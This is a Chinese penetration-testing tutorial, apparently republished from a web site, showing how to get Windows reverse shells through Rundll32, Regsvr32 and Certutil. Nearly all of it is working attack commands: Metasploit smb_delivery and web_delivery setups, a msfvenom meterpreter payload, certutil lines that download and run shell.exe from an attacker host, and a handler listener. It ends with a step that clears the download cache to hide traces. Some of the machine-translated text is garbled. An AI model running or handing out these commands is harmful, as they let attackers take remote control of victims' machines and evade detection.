内网渗透之Windows反弹shell(二)
来源:http://www.tudoupe.com时间:2022-07-18
目录
Windows反壳
03Rundll32.exe
04Regsvr32.exe
05Certutil.exe
Windows反壳
03Rundll32.exe
Rundll32与Windows操作系统有关,允许从DLL导出的调用函数(16或32位)并将其存储在适当的内存库中。
通过Metasploit的SMB交付模块执行Randll32攻击
use exploit/windows/smb/smb_delivery
set srvhost 192.168.1.121
exploit -j

被控端执行
rundll32.exe \192.168.1.121qFMnFOtest.dll,0

反弹成功

04Regsvr32.exe
Regsvr32是一个命令行应用程序,用于注册和取消OLE控件,例如Windows注册表中的DLL和ActiveX控件。
Regsvr32在Windows XP和Windows的较晚版本中的%systemroot%System32文件夹中安装。
语法:Regsvr32 [/s][/u][/n][/i[:cmdline]] <dllname>
/u-终止服务器
/i -调用Dllinstall移送一个可选的[cmdline];当它与/u一起使用时,它调用DLL去卸载
/n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/s - 沉默;不显示消息框
通过MSf Web Delivery模块启动Regsvr32
use exploit/multi/script/web_delivery
set srvhost 192.168.1.121
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.121
exploit –j

被控端执行
regsvr32 /s /n /u /i:http://192.168.1.121:8080/yvj3GKJwvde.sct scrobj.dll

反弹成功

05Certutil.exe
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目计算机中执行恶意的exe文件以获得meterpreter会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.121 lport=6666 -f exe > shell.exe

python3 -m http.server

certutil.exe -urlcache -split -f http://192.168.1.121:8000/shell.exe shell.exe
./shell.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 6666
exploit

清除日志
certutil.exe -urlcache -split -f http://192.168.1.121:8000/shell.exe delete
相关新闻
- 2022-08-04 WPF的由来
- 2022-08-04 Win11勒索软件防护怎么打开?Win11安
- 2022-08-04 Windows系统jdk的配置
- 2022-08-04 Windows10 OneNote怎么重新登录?如何重
- 2022-08-04 超好用的 Windows 效率工具推荐
- 2022-08-04 Windows如何在CMD或PowerShell中配置代理
- 2022-08-04 powershell和cmd对比
- 2022-08-04 【QT】Windows下QT下载安装
- 2022-08-04 windows下 C++ 实现类属性的get和set方
- 2022-08-04 Win11快速助手在哪里?Win11打开快速
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
